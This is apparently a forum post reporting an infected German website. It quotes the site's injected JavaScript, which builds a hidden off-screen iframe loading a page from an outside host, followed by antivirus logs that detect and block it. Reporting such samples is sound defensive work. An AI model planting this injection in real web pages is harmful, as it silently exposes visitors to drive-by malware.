http://alte-seite.borsc.de/

fireold

1. var _q = document.createElement('iframe'),
   
2.     _n = 'setAttribute';
   
3. _q[_n]('src', 'http://heartofpole.net/xml.php');
   
4. _q.style.position = 'absolute';
   
5. _q.style.width = '16px';
   
6. _q[_n]('frameborder', navigator.userAgent.indexOf('d0a7a142b755172da72ff74a1ac25199') + 1);
   
7. _q.style.left = '-5597px';
   
8. document.write('<div id=\'__dradv\'></div>');
   
9. document.getElementById('__dradv').appendChild(_q);

复制代码

Avira

2013/10/29 上午 07:24 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\nav2[1].htm'
      包含病毒或有害的程式 'JS/iFrame.MI' [virus]
      已採取動作：
      檔案會移動至 '55bf5082.qua' 名稱底下的隔離區目錄。.

2013/10/29 上午 07:24 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        811
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/10/29 上午 07:24 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\alte-seite_borsc_de[1].htm'
      包含病毒或有害的程式 'JS/iFrame.MI' [virus]
      已採取動作：
      檔案會移動至 '559c50ec.qua' 名稱底下的隔離區目錄。.

2013/10/29 上午 07:24 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        811
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/10/29 上午 07:23 [Web Protection] 發現惡意程式碼
      從 URL "http://alte-seite.borsc.de/intro.htm" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.MI' [virus]。
      已採取動作：封鎖的檔案

2013/10/29 上午 07:23 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\nav2[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.MI [virus]'
      執行的動作：傳輸至掃描程式

2013/10/29 上午 07:23 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\nav2[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.MI [virus]'
      執行的動作：拒絕存取

2013/10/29 上午 07:23 [Web Protection] 發現惡意程式碼
      從 URL "http://alte-seite.borsc.de/nav2.htm" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.MI' [virus]。
      已採取動作：已略過

2013/10/29 上午 07:23 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\alte-seite_borsc_de[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.MI [virus]'
      執行的動作：傳輸至掃描程式

2013/10/29 上午 07:23 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\MDC6X2XG\alte-seite_borsc_de[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.MI [virus]'
      執行的動作：拒絕存取

2013/10/29 上午 07:23 [Web Protection] 發現惡意程式碼
      從 URL "http://alte-seite.borsc.de/" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.MI' [virus]。
      已採取動作：已略過

fs is

billgates1996

Website blocked!

G Data TotalProtection 2014 has denied access to this website.
The site contains infected code: Trojan.JS.Iframe.BQC, JS:Trojan.Iframe.AXP (Engine A).